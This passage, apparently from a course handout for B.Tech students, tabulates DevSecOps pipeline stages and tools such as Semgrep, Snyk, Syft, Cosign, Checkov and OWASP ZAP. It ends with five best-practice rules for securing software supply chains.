β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ SAST (Static Analysis)  β”‚ Code / Commit Stage          β”‚ Semgrep,         β”‚ Analyzes source code ASTs for β”‚
β”‚                         β”‚ (White-Box Review)           β”‚ SonarQube, CodeQLβ”‚ taint-flow injection sinks    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ SCA (Software           β”‚ Build / Package Stage        β”‚ Snyk, Dependabot,β”‚ Audits direct and transitive  β”‚
β”‚ Composition Analysis)   β”‚ (Dependency Audit)           β”‚ pip-audit, npm   β”‚ dependencies for known CVEs   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ SBOM Generation         β”‚ Build / Package Stage        β”‚ Syft, CycloneDX, β”‚ Compiles complete, verifiable β”‚
β”‚ (Software Bill of Mats) β”‚ (Supply Chain Manifest)      β”‚ SPDX cdxgen      β”‚ bill of software components   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Artifact Attestation    β”‚ Release Stage                β”‚ Sigstore Cosign, β”‚ Cryptographically signs imagesβ”‚
β”‚ & Image Signing         β”‚ (Provenance Verification)    β”‚ In-Toto, Rekor   β”‚ via OIDC keyless transparency β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ IaC Security Linting    β”‚ Pre-Deployment Stage         β”‚ Checkov, tfsec,  β”‚ Scans Terraform, K8s YAMLs forβ”‚
β”‚ (Infrastructure as Code)β”‚ (Configuration Audit)        β”‚ KICS, TFLint     β”‚ cloud misconfigurations       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ DAST (Dynamic Analysis) β”‚ Staging / Integration Stage  β”‚ OWASP ZAP,       β”‚ Crawls running HTTP endpoints;β”‚
β”‚                         β”‚ (Black-Box Probing)          β”‚ StackHawk        β”‚ tests real-world responses    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ TOP 5 DEVSECOPS ENGINEERING COMMANDMENTS:                                                                 β”‚
β”‚ 1. Shift Left Early: Catch vulnerabilities at the IDE and pre-commit phase where remediation is cheap.    β”‚
β”‚ 2. Fail Fast with High Confidence: Set CI blocking quality gates strictly on High/Critical flaws.         β”‚
β”‚ 3. Sign Every Artifact: Use Sigstore Cosign to cryptographically attest container provenance.             β”‚
β”‚ 4. Track Transitive Dependencies: Generate and audit CycloneDX SBOMs for supply chain visibility.         β”‚
β”‚ 5. Eliminate Static Secrets: Authenticate CI/CD pipelines to cloud providers using ephemeral OIDC.        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Academic & Professional Standard: DevSecOps transforms security from a late-stage operational roadblock into continuous, automated engineering hygiene. Mastering SAST abstract syntax trees, software composition analysis, SBOM compilation, cryptographic artifact signing with Cosign, and CI/CD quality-gate orchestration equips B.Tech students to build secure software supply chains and protect modern enterprise release pipelines.